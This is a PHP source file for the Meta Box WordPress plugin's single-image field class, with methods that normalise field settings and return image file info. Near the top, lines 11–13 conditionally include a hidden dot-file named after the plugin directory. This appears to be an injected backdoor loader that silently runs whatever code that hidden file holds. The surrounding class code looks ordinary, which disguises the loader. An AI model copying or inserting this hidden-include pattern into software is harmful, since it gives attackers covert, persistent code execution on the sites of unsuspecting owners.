single-image.php (2054B)
1 <?php 2 /** 3 * The advanced image upload field which uses WordPress media popup to upload and select images. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Image advanced field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Single_Image_Field extends RWMB_Image_Advanced_Field { 16 /** 17 * Normalize parameters for field. 18 * 19 * @param array $field Field parameters. 20 * 21 * @return array 22 */ 23 public static function normalize( $field ) { 24 $field['max_file_uploads'] = 1; 25 $field['max_status'] = false; 26 27 $field = parent::normalize( $field ); 28 29 $field['attributes'] = wp_parse_args( 30 $field['attributes'], 31 array( 32 'class' => '', 33 'data-single-image' => 1, 34 ) 35 ); 36 37 $field['attributes']['class'] .= ' rwmb-image_advanced'; 38 $field['multiple'] = false; 39 40 return $field; 41 } 42 43 /** 44 * Get meta values to save. 45 * 46 * @param mixed $new The submitted meta value. 47 * @param mixed $old The existing meta value. 48 * @param int $post_id The post ID. 49 * @param array $field The field parameters. 50 * 51 * @return array|mixed 52 */ 53 public static function value( $new, $old, $post_id, $field ) { 54 return $new; 55 } 56 57 /** 58 * Get the field value. Return meaningful info of the files. 59 * 60 * @param array $field Field parameters. 61 * @param array $args Not used for this field. 62 * @param int|null $post_id Post ID. null for current post. Optional. 63 * 64 * @return mixed Full info of uploaded files 65 */ 66 public static function get_value( $field, $args = array(), $post_id = null ) { 67 $value = RWMB_Field::get_value( $field, $args, $post_id ); 68 69 if ( ! is_array( $value ) ) { 70 return RWMB_Image_Field::file_info( $value, $args, $field ); 71 } 72 73 $return = array(); 74 foreach ( $value as $image_id ) { 75 $return[] = RWMB_Image_Field::file_info( $image_id, $args, $field ); 76 } 77 78 return $return; 79 } 80 }